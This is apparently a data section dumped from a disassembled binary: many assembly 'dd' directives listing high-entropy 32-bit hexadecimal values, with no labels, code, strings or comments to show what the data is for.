dd 8E5C6796h, 48C1A15Dh, 6007FFBh, 0AEE84917h, 0D5C965A7h
dd 0B32EA25h, 67527139h, 2CF9C373h, 1D031C8Ch, 81660706h
dd 0C88FDB5Eh, 0D7B37BA3h, 0CE75D907h, 88BC7386h, 6AC089BEh
dd 8DB8EE31h, 0B1C72A62h, 29E759CCh, 6059680h, 0AA3F3Eh
dd 26B67375h, 3AC50AC5h, 0DA9AE292h, 9C0760F1h, 974ECD59h
dd 5BC412E7h, 4BFBB419h, 78E3FEB2h, 977690D2h, 90F47578h
dd 0C7F0BD7Eh, 0BB7911E7h, 17CC411Ch, 0F080D956h, 81D96D42h
dd 0CEEF1B10h, 0B2C00512h, 6FBF4150h, 0FA0F0EE4h, 52E186C4h
dd 0FE036671h, 5E32712Eh, 5C115219h, 1D737EA7h, 0F1BEC693h
dd 2B36A1CAh, 0E54A312Ch, 0A6DFCA8Eh, 8161D46h, 35E0407Bh
dd 1FA4AD66h, 8F7DA50h, 2B4BA103h, 98B0FDF9h, 0F7CF174Fh
dd 6628EBDCh, 46F636C4h, 65141BFDh, 685207EDh, 64EB2D18h
dd 0D7A4123Ah, 0AD24F7F6h, 4D3A1054h, 0FB448A71h, 0E17D1453h
dd 0CCCB853Ch, 1B0205C9h, 4AA9BCBFh, 0B0E24CDCh, 0D797D7C5h
dd 5776479h, 0F3DBBCCDh, 0E384DF66h, 4358EB89h, 189E7790h
dd 8E4B5849h, 0D7E48BEFh, 7990BC8Ah, 0D0C78B54h, 9134271Fh
dd 5E39BCC3h, 3000AC90h, 16EF948Ah, 0F198F650h, 30FF19F8h
dd 0FBB8B1C6h, 1850A253h, 76BAF604h, 12FE89FBh, 3A1CA459h
dd 920BDEF2h, 0E3007821h, 9E7964CFh, 419AE791h, 0FF46F51Fh
dd 2004534Ah, 0CCD0804Ch, 24DAFBFFh, 9C8E0F65h, 3809B9B8h
dd 67E0F0E7h, 1AA5B376h, 0F7E2F331h, 0E0E29242h, 7A18ADB3h
dd 0FA44D732h, 0A4877700h, 7B961E51h, 5F736F2h, 0E1B1004Bh
dd 0C2B15847h, 0EEFC8175h, 68DC1D30h, 996DB1A8h, 2013E8D3h
dd 34C56DCDh, 0BECC13E0h, 3B3D7159h, 41606060h, 0A7C8B47Bh
dd 0A14A563Bh, 823F0F28h, 711098C4h, 1DDD16Ch, 107D94CFh
dd 0BA9A7E0Ch, 0FBDA01F1h, 61C8536Dh, 87240183h, 9BECF62Eh
dd 3ACE4909h, 68BF014Bh, 9EA20EB2h, 0E8A31BD4h, 0A3E91375h
dd 89F26C55h, 502CD415h, 8FBDD7AFh, 352A53ADh, 0AC422937h
dd 44B070DEh, 6F0378C3h, 56B0C5DFh, 7A848B7Ah, 0A13B9E91h
dd 6A9ED4DAh, 97D89C46h, 4B5BE2Dh, 83B8EF05h, 4001DB52h
dd 85CFCAC4h, 0C03C9609h, 0A281CDB6h, 750A2A37h, 0A61097F2h
dd 0B0A75C1Bh, 25A6B6DCh, 0C060EE6Eh, 0EBA989ABh, 4C9DC603h
dd 1846C25h, 263FD913h, 0E0C2DABBh, 0C1C7FA7Fh, 8D10DDB2h
dd 0BCF46149h, 3AA29CAh, 39B110D2h, 416358C8h, 0A14DF496h
dd 0D7BCF3A5h, 771B4BDBh, 8DAE07B3h, 0D9A5C462h, 0A99B2F12h
dd 32461126h, 650939E5h, 43D4F9EAh, 7882B631h, 7143DF1Bh
dd 4A181F6Ah, 21EF0102h, 79CB2F11h, 430C0B3Dh, 4BA735ADh
dd 6FAAE8A4h, 6428C475h, 7F853F86h, 9C3C3037h, 2AB3C64h
dd 0FB02D9B1h, 13731EFDh, 0D0CE9925h, 0C5CD624Ah, 38D76797h
dd 9F0B4EBAh, 0F370D51Bh, 48B77A60h, 49A65AC0h, 0CB29711Bh
dd 0B9E9CE11h, 7B75FD71h, 367AE6D9h, 30FF3206h, 0F4BEF540h
dd 0CD6CF11Fh, 0C6E2C472h, 8AD6737h, 31E9598Dh, 97C8E71Fh
dd 0E733EB45h, 0A688EFD9h, 0D2013D7Bh, 4CF12220h, 6DB0DBABh
dd 99DC48B1h, 0A2AFE282h, 8F889A3h, 0DE8C86Ch, 5651D4C2h
dd 0AE8D6350h, 39968C04h, 649DDABDh, 98D1467Fh, 0F1E5B14Dh
dd 3BD46C55h, 41D64D11h, 29D89FAEh, 3371CBCFh, 4F73585Bh
dd 2DE1776Ah, 0E2DEB202h, 0D2EE0B33h, 0FD0B708Ch, 4A7BF2B3h
dd 0FCD67BC4h, 54796E21h, 2861A80Ch, 15050CFCh, 755F964Dh
dd 0D037CDA1h, 8B3EE961h, 5F7F8DA7h, 1CA1B4F8h, 74648081h
dd 9539E51Fh, 0B9116E7Ch, 3E0EE783h, 8A0EAF9Ch, 0B36B94C0h
dd 0C06646C8h, 0E8FC1E5Dh, 6A81F2C7h, 0FA1E0F22h, 9A64EE91h
dd 0C8D5D39h, 0E90F8D54h, 0C61F238Dh, 468F6D1Ah, 31E01ED9h
dd 8CD86C95h, 996FC21Eh, 0B8C39DAEh, 0AEB37BDDh, 42E86E94h
dd 5D90F655h, 0CD6C76BBh, 442F94F6h, 0F5F69334h, 54F355E6h
dd 0DD110E3Ch, 0C670E62Fh, 8E9A1235h, 0B97B1E8h, 299FEA29h
dd 4698D251h, 6078ED75h, 2982866Dh, 799666B6h, 7EC1A84Dh
dd 0E240A124h, 0AB07849Dh, 0C268DC4Ah, 0C333DA28h, 0B3D24972h
dd 0A17C069Ah, 6CAB8500h, 0C6078027h, 71B0563Eh, 5E6440E7h
dd 8E73C993h, 112276D5h, 56F0A0ABh, 1EA4F1F0h, 8829D9D1h
dd 6FEE70EBh, 0CC5E88D5h, 0A0000651h, 4291008Dh, 0ACF84C44h
dd 23535E91h, 5C22F6E0h, 286E923Fh, 8D464FC9h, 0CDC03548h
dd 4387FC97h, 7F38A468h, 88D875C4h, 277A4AE4h, 0E8858F0Dh
dd 29C97806h, 0AEC3734Fh, 0DE8312AAh, 272EE785h, 998F1E1h
dd 0F8726538h, 0F0500897h, 93C9A2A5h, 682ED237h, 675C0429h
dd 38D810Fh, 0BB56C7CEh, 0DE83F76Fh, 0A07EC38Ah, 0BA761309h
dd 0DCCCFEA6h, 964195Ch, 9F9050FBh, 3FC1BA08h, 9DE07376h
dd 0F2A9625Ah, 0C39EDDF7h, 784AD794h, 58B32466h, 0D362798Dh
dd 0C07F2185h, 0C025F725h, 0B64B4DEFh, 91D28482h, 63CFEA70h
dd 1F02FAF0h, 0F45359DDh, 8EE8134Eh, 26AD4522h, 0F7D32F0Ch
dd 13E7C1C2h, 495F31E7h, 0CB5DE1Bh, 0E9BB1480h, 0B48ABB02h
dd 4AA2AE5Ah, 0BFD7266h, 8075EFA1h, 0EECAD4BAh, 1925BE5h
dd 0A29A1618h, 0DCA481F7h, 8FE453DAh, 0AB59BE0h, 4DE32D2Bh
dd 0C0A0B54Bh, 0BEE8D3BAh, 760B3E82h, 0EDDFBD9Dh, 4187E021h
dd 1E63CC00h, 6529FCA5h, 43DF8DC6h, 7FD2666Dh, 680B2AB9h
dd 1474E984h, 30E623EEh, 0C3058E36h, 0A6C3630Dh, 0EE1DCDADh
dd 57B549B7h, 32BF52DFh, 0AEFFD8E3h, 48DB06B8h, 878079B6h
dd 1D5F403Dh, 0FB2D9502h, 9189A20Eh, 82BE0841h, 0C4167A41h
dd 6DFF407Ah, 59D93161h, 0CCB4BB8Dh, 7588CAF3h, 7AAC6887h
dd 28F8A4A2h, 4908256Dh, 35C832F8h, 0EF14F2E0h, 0C8416143h
dd 0A7838B32h, 98576C09h, 9F8A65AEh, 3B79CDECh, 44D3239Ch
dd 28F160C4h, 3390DCCCh, 2DCEB715h, 88474F17h, 2B4F4ECAh
dd 710A1022h, 7D911EFEh, 6FA5E9FCh, 7799C584h, 3E4B11Bh
dd 0B4C5D09Eh, 12D3B48Ah, 33AB5CA2h, 0BC763D5Eh, 49CDD6CFh
dd 1780B08Ah, 8570C775h, 681A09B3h, 0C1733E0Fh, 40DA9C1Ch
dd 0D5D912E2h, 474EFCDEh, 731D7BA3h, 0CB844A65h, 0F591FE3h
dd 0C477A879h, 40224352h, 0A8C562F6h, 5EE8E9DAh, 5EE6FC5Bh
dd 15DCDC9Ah, 0ED8FE7D0h, 0D0BC2D75h, 0EF469B2Eh, 0F4602B7Fh
dd 765924FAh, 70C1C72Bh, 0A0A7CCF9h, 0B25F5CF3h, 6BC59ACh
dd 0D3249276h, 0C3742CF7h, 0B39DA490h, 37A2430Ah, 0FB98AFE3h
dd 3EA69239h, 19097CBDh, 5022A021h, 95ED44F7h, 94DC72A8h
dd 0CA3F50FFh, 9430EC82h, 0A0BF2710h, 3514A753h, 978577F2h
dd 0CF15B547h, 59483C90h
dd 9058A32Ah, 0FF0FA71Ah, 3F090C9h, 0BC5BBD37h, 8FB62DA1h
dd 48C339A3h, 1882AD7Bh, 956890EEh, 2F4C669Eh, 8D3A4E06h
dd 4F4E7998h, 0DE42F398h, 0A87D7A94h, 75EBD34Dh, 0FDB538EDh
dd 169D0C17h, 0C192E15Ch, 6A9846A4h, 384739Fh, 0EFA31104h
dd 7A7147Fh, 4B9F4800h, 231F2560h, 11CA23A0h, 0E5F12FCDh
dd 0A76D5938h, 31B2CD28h, 7565FD71h, 0E9938A20h, 626B6A18h
dd 1E36AF0Dh, 90BE0C8Ah, 35C75CD4h, 0BCEAF222h, 0CC442AB7h
dd 1CC3FEDAh, 0BE00BD35h, 283299B7h, 0E2ECF1D9h, 1D75E727h
dd 78FCAF3h, 41D77316h, 4EC09A29h, 0EFB89B72h, 0E4FE05B9h
dd 0BCFFD640h, 0F472D2E9h, 47BA5FB3h, 66A44F49h, 0EC4978C0h
dd 0A42DB056h, 2C82C020h, 63901A90h, 6AE2F227h, 0A233689Fh
dd 10F96CE5h, 0C6A27066h, 0D45C312Dh, 9AD64DBAh, 0A486FA41h
dd 8EA7258h, 4DDEF706h, 6F13A6A6h, 355F3C27h, 0B1B41CC5h
dd 973C6832h, 1E38F7BAh, 412EE88Bh, 3D4289FBh, 38B72186h
dd 0F08CA117h, 73A2E889h, 0C0C52310h, 1C00F594h, 4B05CD32h
dd 0C0C4AFD5h, 0E2D78EF1h, 32A4A1A7h, 7904344Fh, 0D3A94552h
dd 9DEB67BAh, 0FC4C6DEDh, 3B245BA7h, 49E89C3h, 139961A9h
dd 0A0A48215h, 7573EA1Bh, 3446A0E0h, 8A00B5F9h, 0F04E1335h
dd 827A036h, 792BADC1h, 0C09CF761h, 936326C9h, 0BA0550EBh
dd 5295A2CDh, 0A1D9BBA9h, 8837A874h, 5B40595Bh, 2EEB8337h
dd 1160905h, 61C3DFA4h, 0EA20CDCBh, 0C29D5C41h, 37020D4Ch
dd 3FA112BEh, 78CC98C1h, 0A7100D38h, 2E97E1D6h, 0F463E48Eh
dd 7945BA7Bh, 3C022720h, 8A7057EBh, 9DD85734h, 0FE855FCh
dd 2BE7387Ch, 6E05BFC9h, 6B466E59h, 0B6254BA1h, 21A06D18h
dd 0AF781480h, 6BAF5F34h, 297BE65Bh, 0C624346Dh, 0DA3076D5h
dd 0FB3D0AE2h, 0EEF97ECCh, 1EFBB57Fh, 54FA5933h, 1ECB4398h
dd 7A4A0D8Eh, 1850C1AFh, 0F023ADA4h, 954A01Ch, 0BEAF8519h
dd 1D9D7EB9h, 7131CF8Dh, 29EB3ACCh, 1FB9AFF0h, 0C0FB1E32h
dd 0AA10E253h, 0CF73B07h, 7B5FF02Bh, 0EEFB637Ah, 5B12981Bh
dd 0BA495E9h, 8FDF6F2Eh, 0BC1CE4A1h, 52A51302h, 672F3F7Fh
dd 21FBFD11h, 0DC40B022h, 0C2C98Eh, 8E489BD2h, 538B3259h
dd 78362CEAh, 1DD9973Ch, 22137DFBh, 0FB88E52Dh, 7FC0BF1Eh
dd 90E78C3Fh, 5DEA0F31h, 6C395906h, 64D37B3Ah, 0B12AC2B8h
dd 0B4E15FCCh, 60BEF8F8h, 6C700F09h, 7CE1582Dh, 9821B8D7h
dd 92821E79h, 0F453B2FAh, 669FC62Bh, 96EBC13Fh, 0C57BCE8h
dd 0B2520B88h, 0B753BFF4h, 1312B8EEh, 0A55CCC6Ch, 136585D9h
dd 0BF24562Fh, 4469863Ah, 0F665397Fh, 979B3128h, 0FB44E5D9h
dd 2742918Dh, 80033A8Dh, 6FE98183h, 0D01A7049h, 0C90F76CCh
dd 4A1C53E4h, 0F574ACDAh, 6D661D0Fh, 11E48A33h, 0ED544F98h
dd 486DCA57h, 0A72A6C39h, 0F7BFEC04h, 829D2C58h, 0B00F736Dh
dd 5B730AF6h, 580A2E57h, 1FC61191h, 84044162h, 0C558FDA0h
dd 0B44EF61Bh, 365DF2D8h, 6F8CC12Eh, 0B577B8A7h, 0BE8814FFh
dd 43719C8Eh, 0EDB0C0CEh, 84499C14h, 8E411FBEh, 4DB74CDDh
dd 0F107FCBBh, 871E0933h, 0E06FA85Ch, 8A57752Bh, 707B3552h
dd 30C3FDAEh, 7FD64103h, 9FAB4557h, 85CA58EEh, 25F13552h
dd 0EFC07086h, 0C1E17B52h, 0EE346B5Eh, 0D4ED3A55h, 97A0F376h
dd 0E45E7861h, 3C4F2602h, 13E2F3C6h, 701692DFh, 89D3F368h
dd 9768EF32h, 80591Ah, 0CDC17A8Bh, 22F8F588h, 0C7E3D87Eh
dd 53922D8h, 3F8749F0h, 7D0F3FECh, 0D0FA7D1Eh, 21D60634h
dd 62959817h, 4DF8E263h, 0B0A12643h, 1A13B656h, 3CB214B8h
dd 84445E38h, 67CE849Fh, 65C9ABC9h, 0E78BEAF4h, 0AC153F48h
dd 41E67BEDh, 877F6A8Ch, 8BB8E747h, 0CAD124B1h, 4DE0FCEh
dd 0DF6176E6h, 4BD8A0BFh, 0B0913DDBh, 0C75CFC71h, 0B1B8A7D5h
dd 268B0A2Ch, 0E390EE43h, 53670DCEh, 0F3105DDBh, 0D09F80h
dd 0F8193EBDh, 37150B0Bh, 8E8ABDF0h, 7CC8DA74h, 0AAFCB491h
dd 0ECAF4E99h, 1D711ABEh, 0AF87B914h, 84CB229Ch, 86402D55h
dd 0F7380F1Ch, 3C428937h, 107521A9h, 9436F400h, 1A4D2700h
dd 517B81B5h, 9B4629B6h, 334E4A99h, 3AD96292h, 0AF45CD35h
dd 9C35BB19h, 0E8DC5A36h, 0B10C1555h, 0C955009Bh, 7DEFB2C5h
dd 0FEFC1D76h, 0E146C07Ch, 6DADD385h, 4E9D1C1Ah, 9A2209EEh
dd 24DCF3C6h, 72042AB9h, 0A03564A6h, 0C0E27F30h, 6E9E035Ch
dd 0A1480473h, 0E44E4B09h, 5E0421CBh, 8BF04F81h, 59562531h
dd 0C5C5EDEBh, 3FAD665Ah, 0BB18D157h, 6C1C47D6h, 0F6158B2Dh
dd 0E85E2A5Bh, 9624C969h, 0BF57CC4Ch, 0B6383514h, 88478DB2h
dd 87A6C03h, 0F82DC7h, 864B1DD4h, 7A046853h, 6C5F6DB8h
dd 0DF9714B6h, 7628956Ch, 608F9464h, 0A4B8542Eh, 0D5E02E2Ah
dd 2CB49BA6h, 834904EBh, 0C74B52B3h, 0E841689Ch, 18015328h
dd 7D10645Fh, 2FB3F1F9h, 0C33B7597h, 0A657077Fh, 0BAACF0DAh
dd 0AA1D04E5h, 47B927C7h, 6A332B58h, 6848E8FFh, 44456C44h
dd 9F906F93h, 44274899h, 588D014Bh, 5997F132h, 76FE2FBFh
dd 0EA3E2A9Eh, 0B088FCD0h, 0A71C5A1h, 47383BF2h, 0BB1F7B15h
dd 1ACA9352h, 710B2121h, 23A580A2h, 99C3BB6Eh, 62435271h
dd 2E9BA2Bh, 0A152EF59h, 0D45C21ECh, 0C4783A05h, 0D4FFDEB7h
dd 956607ADh, 539DD0D5h, 2D31269h, 0F3E554BFh, 3FA869A4h
dd 73CF4394h, 3F84CCB0h, 9DCBC20h, 0B6970E11h, 0D8B2E1D9h
dd 0F211E313h, 0E9E426D5h, 0B1519D45h, 63C76EEFh, 0ABD12C7h
dd 7460F04Fh, 6769CDBDh, 807E30DEh, 0E01978E7h, 0AEDC6DCBh
dd 5714B1B3h, 739205DDh, 0D0A29FBh, 87A524F5h, 4B9E3950h
dd 0F57FB7F2h, 4A84A835h, 31DE10D3h, 0EAB5144Eh, 0D0603791h
dd 0B4AC1B97h, 7A44210Bh, 22124C4Fh, 6F1D30B6h, 0E8958475h
dd 0EC9220DBh, 0F09CD5DDh, 1713BB21h, 204853B7h, 0F07394E2h
dd 98E691B7h, 0E62253D3h, 0C5839FF9h, 0D9CACA33h, 0B9DE5237h
dd 5676BEEh, 8B303D6Ch, 0E9F45A21h, 0CE7312Ah, 9FD0B509h
dd 966809E8h, 7E541D50h, 785EF638h, 3104F65Fh, 0B4A80092h
dd 0B1884D0Ah, 4C0BF81Eh, 0E99CFA91h, 8A8BD8B0h, 155534D2h
dd 1B6F09FEh, 0B954EBECh, 109A86B2h, 32BB46DEh, 0BDB68DA0h
dd 0ABD95B16h, 84C84DABh, 1945CED4h, 0D9A32873h, 0FE354FD4h
dd 425AE413h, 0FA4295F8h, 181F23Bh, 4DBEFEB2h, 281E4C2Ch
dd 99103310h, 0D7E8BFB3h, 6DD0C884h, 0E973A1DDh, 0DB5456B8h
dd 265EF838h, 6B68217Ch, 94D2B2A9h, 0C11E141Eh, 6AFAE36Eh
dd 0F7F2B16Ch, 0AEDFCE48h, 0FCA35D32h, 788C701Eh, 72B3D31h
dd 5FD27514h, 41898C7Fh, 5EC2084Eh, 0F67D9EECh, 7707F4E4h
dd 453DB08Ch, 0B44B9F6Eh, 6AC92393h, 0D5857629h, 0C71A96A7h
dd 0AEEEB1Fh, 4A6B4E5Eh, 6664A2F0h, 86A75682h, 9C8EC0BCh
dd 0AAB98054h, 883DB429h, 465740D9h, 0CC19E4AFh, 0E8E7D111h
dd 6A210A47h, 0BD04CBE2h, 6C2FA3BFh, 82EA089Bh, 8DF32ACCh
dd 251272DAh, 0D65AADFCh, 86DE160Eh, 99E804E5h, 84B5CD3Bh
dd 0E2175265h, 0F9D6DF8h, 43A9267Ah, 0EFF01DA1h, 27D1E1B3h
dd 2F7B15F9h, 0C6D14834h, 86BF357Eh, 0BFEEBA79h, 0E39D284Ah
dd 75534E11h, 91D96208h, 6AA35A9Bh, 9CAD0BA0h, 0BC52BC09h
dd 5FF90EE4h, 1B39EEFCh, 36179AEDh, 0C39B8AD1h, 71519A13h
dd 0AE1A19CEh, 46E0733Dh, 27D8F304h, 638AEE68h, 0CF14C8E3h
dd 3C1A010h, 0B36241CDh
dd 0B4A2E73h, 55619E35h, 0F0CCDD02h, 13E81893h, 0A425C74Bh
dd 880AE78Dh, 67E139CAh, 0B3F94A09h, 812A0FDh, 842E976Ch
dd 927F72CBh, 0F1779E1Fh, 728E0BE1h, 0C30DB4C3h, 0C1595B68h
dd 0B2419FCCh, 7DAD06Bh, 0BF9E9381h, 0E0143A84h, 3B6E45ECh
dd 27B33F5Bh, 0CF897A46h, 0DC9C2B5Bh, 0EFDA4132h, 0ED21200Ah
dd 3502F166h, 1891BBA5h, 38940166h, 192B1D89h, 0A9190FE8h
dd 0B097832Fh, 0ACFAE310h, 0D022EFA5h, 0B5444B0Fh, 0FAD41633h
dd 3BF37419h, 30B7D13Eh, 0B723D9BAh, 0F4F5F978h, 3CCB4D4Ah
dd 0E58C3769h, 115EDDBBh, 3D1B87D8h, 722D5E6Dh, 168D1B1h
dd 0A7FC4812h, 0F3F6E13Fh, 317E5C2Eh, 152B626Bh, 0FE8477EBh
dd 1B43831Fh, 6F209CC2h, 0C915165Dh, 290DB41Eh, 367D4D0Ch
dd 34626776h, 0D055DE9Dh, 0CC8509EEh, 0D884AFA6h, 9524A361h
dd 122D2471h, 0B28DDFh, 0CECB27D2h, 0AF3A24DAh, 0E51CA908h
dd 107B4D93h, 9D8568E6h, 2B1EBF23h, 0C594E8CAh, 3D0A9DC5h
dd 0B6A0C543h, 0CF91B90Ah, 3795FF5Ah, 0BF04912Bh, 4046CF9Dh
dd 0D4CC38D5h, 5006A0F5h, 64DF2043h, 22306CD8h, 0C8605744h
dd 80827231h, 0ED585E06h, 0ECCBB911h, 1A80D3A8h, 2F9F76EBh
dd 0C370F57Ah, 124AF2ABh, 0B4D5CEFBh, 97AF9304h, 0E580B943h
dd 0A5924DF3h, 0D36232DBh, 6A65565Bh, 8A6EBFCEh, 79B5767Ah
dd 1007D073h, 64251655h, 0B83B6543h, 1ED8740Ch, 688DC89Ah
dd 0F9C2F3A0h, 0CCFE45BCh, 26D71A66h, 723C33EAh, 0EC4E994Eh
dd 30A9A9EEh, 75CB81ECh, 0B7D151CCh, 0FD7CF06h, 60C97EA2h
dd 0CD1A335Dh, 0B286767Bh, 25BB9499h, 2E1ED49Fh, 7DB0AE8Eh
dd 0F65802DBh, 2F242F59h, 0A5E66F15h, 70F89FC7h, 0AA9DC604h
dd 0ADBB8CFFh, 6FC76BEDh, 7BBADD76h, 0C2C1BA1Dh, 0ED22D97Ah
dd 0D24B71DCh, 0A64D33F8h, 0A0454FEEh, 9AA97F04h, 0FB6F7BB9h
dd 0CDED559h, 631A0540h, 0CEDC3DA2h, 39A6460h, 2A09836Dh
dd 7312E2E5h, 0BC9A558Bh, 51A6F62Bh, 6E36300Bh, 9858849h
dd 7627638Eh, 0DA01FBBDh, 27837E4Ch, 866EEBFFh, 0D8320282h
dd 61AE1768h, 0AC9B19DBh, 2DADB688h, 9748BD68h, 6C2D855Bh
dd 531D5D68h, 5B429392h, 0B915A623h, 451FABEDh, 0B2925CC5h
dd 32D7B658h, 0B2311759h, 2B688612h, 2749A8Bh, 0EDA85FACh
dd 1BA54788h, 0B0F982D8h, 0BE89369Fh, 0AF8F301Ah, 578DE95h
dd 0C2CE56C6h, 0C1F8E1F3h, 48E58BDAh, 5543D9B9h, 0BCDD14F9h
dd 7C3D6FF8h, 0FEA57E36h, 91D587B0h, 0CAAE667Fh, 0FC72C496h
dd 4E5A20C1h, 0D14649C1h, 0B3C0A21Ah, 7A01B932h, 0D404BAE7h
dd 6B479385h, 0F20C6CC8h, 91AE2F00h, 0AD4AE618h, 0EA388C1Eh
dd 0C9999D4Eh, 9775051Ah, 4E51D1B8h, 58D4A09h, 0ED318F81h
dd 7DDD5AFEh, 0F11882B4h, 0E8A83D98h, 683A6C3Eh, 3D1515CFh
dd 569E90E8h, 62E75220h, 0E86E76EBh, 0BDC9ABFAh, 9680653Eh
dd 490D3FFDh, 0A2499518h, 0A32B0598h, 0C92BC237h, 0AE7E7A7Dh
dd 92BBB026h, 7932BF08h, 0B34FA787h, 0A1EE76D0h, 40029721h
dd 9A848AF4h, 0B84B48D1h, 0C127C653h, 588DF224h, 0F27297A1h
dd 0D23825D8h, 774B0AB6h, 0A13FCD88h, 356923F1h, 1E3D2EDDh
dd 0F5AB402Dh, 8414118Ch, 1A5482D1h, 178A96F6h, 1443A6BCh
dd 0A5B8C25Eh, 8D131C1Bh, 7C523FF6h, 571DAA9Eh, 0FF2F1F28h
dd 0C9F6D5E3h, 623B0AA0h, 8FE7CD49h, 0AE1AEC09h, 743B627Eh
dd 0E842BA19h, 4AEE91CDh, 0FE5EE0AAh, 94307546h, 894A4CE9h
dd 0A0986741h, 81021CA6h, 86E941CCh, 9A7E80AFh, 0CEB513BBh
dd 0E619DBC8h, 302CE135h, 0E1A525B7h, 4A77850Ah, 980FC186h
dd 40B8280Ch, 45E96340h, 4645B14Fh, 0CF8299AEh, 0EADA3A46h
dd 17B5E9BEh, 97770AC7h, 731A9FB5h, 21AD2165h, 0DFB6E2F6h
dd 5AFFD24Fh, 30C14799h, 4A5833BDh, 25050A56h, 0C9C2C0A7h
dd 5963795Dh, 0C4397B72h, 32CA9767h, 3DA3C86Ch, 2FCC07C8h
dd 43A89341h, 960A5235h, 0DE01589h, 0EA69F340h, 15A1B994h
dd 0C795095h, 0D411D9F4h, 0D2F6E1D8h, 4C76D5D4h, 0A8358D3Eh
dd 0B8EFE514h, 7558E939h, 9A1C4F6Ah, 37C8321Bh, 71934934h
dd 0E154C1C8h, 0F985F218h, 41F7D3BFh, 0DD6028A5h, 8BE4A00h
dd 5E9D2F56h, 24FED150h, 0DA468EF8h, 0C9E0401Dh, 0CC4470F6h
dd 0BBFD23C6h, 7C0777E6h, 59B88205h, 911D376Fh, 0DDABBBE0h
dd 0D85E5D8Eh, 53D24E37h, 0ED9DE8EFh, 0CA40768Ch, 0C7C7076Ch
dd 7B0D7C8Dh, 1BFEBFCh, 796DF5B0h, 1FCC3518h, 0D5EC8EBEh
dd 0D0C96C42h, 9FCE0B3Ch, 0B9A65022h, 90B04F1Bh, 20B66F69h
dd 79EDF916h, 0CC3B1FF4h, 7F2E63E9h, 0DB868A36h, 0F53D2D32h
dd 87347F51h, 1E725C71h, 74438457h, 1FBF4D4Bh, 0C5A3B4DDh
dd 0CF7A249Dh, 0FC97E79Ah, 0DA4E4254h, 0D67EA206h, 9418EE36h
dd 590FD44Eh, 831C3638h, 8EC87315h, 70E43AFAh, 467AF449h
dd 44D56015h, 2956B9Bh, 0B66F94E5h, 0AA472E53h, 7D87D8DBh
dd 0E598E6D3h, 17912CF4h, 993C8C84h, 1DC0C71Dh, 3F43AF8Ch
dd 488DB039h, 21ACF143h, 0C04FB450h, 104F1E35h, 45C54B0Ch
dd 1442F62Ch, 61EED78Fh, 0F240A041h, 4F816934h, 708478A1h
dd 0FAA70A0Bh, 0DE4EA1D4h, 8AC15E63h, 89FFC3AAh, 0B36C4E56h
dd 0AC5B9496h, 221DE283h, 0A5DB60C4h, 0A961624Fh, 2FA73111h
dd 0B7F2C263h, 0EFC99A31h, 0E0892060h, 0D0074F91h, 0FC8FD339h
dd 70BBF2FCh, 5C5EE360h, 9667081Ah, 5D2AAFC2h, 9602068Ah
dd 71A7C065h, 0D70FC1E0h, 718B6456h, 2F087CD4h, 48C79843h
dd 4C2972B6h, 0EB85C55Bh, 40DC0F97h, 0D1DCDBCDh, 48DC4050h
dd 0E7A26C51h, 0F655F39h, 0FE49E485h, 0A0388F3h, 57E2620Eh
dd 555C7BEAh, 0EF8F14F4h, 6887FEBBh, 3FA2A0CEh, 702F5EADh
dd 0D7055850h, 256316C8h, 1FA0A0B5h, 79487C66h, 405B3288h
dd 0E6ADEB21h, 88E4614Fh, 0CF6A95B1h, 95513116h, 0B5C6AEh
dd 5E52FA6Fh, 0FB2502B2h, 5D1D2055h, 9BE9FDBBh, 525CEF8Ch
dd 0BF55F1B6h, 33F8D379h, 0F176D4B7h, 7CBFE4CDh, 8DEFE45Eh
dd 0F78E0021h, 4F76F85Dh, 0AD6271C0h, 0D8C035FCh, 0FDB7A6A3h
dd 6991E44Ch, 0E4402933h, 0B7AE4E3Dh, 67203246h, 3215D7B9h
dd 0D9E15A83h, 9FD9BE57h, 99A09ADBh, 0BB009458h, 67339040h
dd 1BB71600h, 9F525631h, 539899FEh, 23A86C8Eh, 0D120099Fh
dd 5515E442h, 0A022F02Eh, 0A7B47CEAh, 9025DEACh, 0C569AFD2h
dd 612E98Eh, 73C2C1C0h, 909D09BAh, 7F04B704h, 0FFB7C6DEh
dd 94A1882Bh, 7FADDCA6h, 567567C0h, 0B714FB0Fh, 4E9BC549h
dd 0E9C37E4Eh, 64A3DDF4h, 0B308343Bh, 0F6A585h, 5AC4BC63h
dd 457F24D2h, 0DE56739Fh, 0E870E91Ch, 0B7770B49h, 0F6A43FDCh
dd 9E30FEBFh, 3D5589E8h, 0E91B2220h, 0CC3451D3h, 8FAFA710h
dd 0E478411h, 0D4FCAD4Bh, 0D58CCDF4h, 0C5C882E9h, 0BF9F3FA6h
dd 60C4C579h, 90EACB76h, 4F8000Ch, 0E16C95A7h, 921ABACh
dd 85D8D444h, 0F02986EBh, 7DC16919h, 64B657C7h, 0A0C43ED4h
dd 62BC3FFFh, 2FFDA095h, 41BEC18Ah, 0AE85F8C6h, 7AF221CDh
dd 0E8FBE6E5h, 75827A01h, 6A952812h, 0F405912Eh, 0CA48AB5h
dd 618C216Eh, 6FABC5B4h, 0A9C1D120h, 0BD226630h, 0A5AD00D0h
dd 0FD81CD38h, 34209122h, 6D789B89h, 0CA3E9227h, 9079235Bh
dd 0AD61EBCCh, 93553527h, 7B97610Fh, 7B68A617h, 5BB0E25Fh
dd 7035CFh, 4939E22Ah, 63D53010h, 3D465157h, 0F99C9506h
dd 0CAEF4C12h, 197CC1E3h
dd 0DB02ECE6h, 473D740Bh, 0C66336BAh, 3402B1A5h, 220D0B72h
dd 0C392493Ch, 12921B0Eh, 3804FDD1h, 1867E98Dh, 39E7919Ah
dd 0C5A9314Eh, 0A3ECB689h, 994B872Eh, 4A87322Bh, 0D558F234h
dd 3879B7D8h, 64D4C43Bh, 6DEAC990h, 865D836Ah, 0F857DAACh
dd 42C76CDAh, 917C41B6h, 61A1FF95h, 94B7D183h, 0D534660Dh
dd 3E5B8BF9h, 23BEC827h, 8A566CD3h, 0AA96F4E8h, 5238AA79h
dd 773D51CCh, 72597364h, 6A464626h, 10063E5Ch, 1258ECA3h
dd 0DB1A5B0Bh, 74625F0Dh, 38394E9Dh, 307E7DB0h, 9107913Bh
dd 68B3E3E4h, 421965BBh, 5C8EB121h, 3C384B90h, 26502088h
dd 618EF597h, 14B4A844h, 598F2D19h, 7B651A46h, 87AC6C38h
dd 61B38154h, 4E773B2Ch, 0BE70C297h, 7862D733h, 0F24B286Eh
dd 0BF36F58Bh, 0EF4E424Bh, 3F5C3B28h, 0CE11B19Fh, 2AB3D6BDh
dd 0A02F989Ch, 2FDDAC34h, 0AB08854Dh, 972825FAh, 59C56052h
dd 61FB6C5Dh, 0B0B2E6F3h, 0EE9298AFh, 0C8C3F184h, 0CB73B4EAh
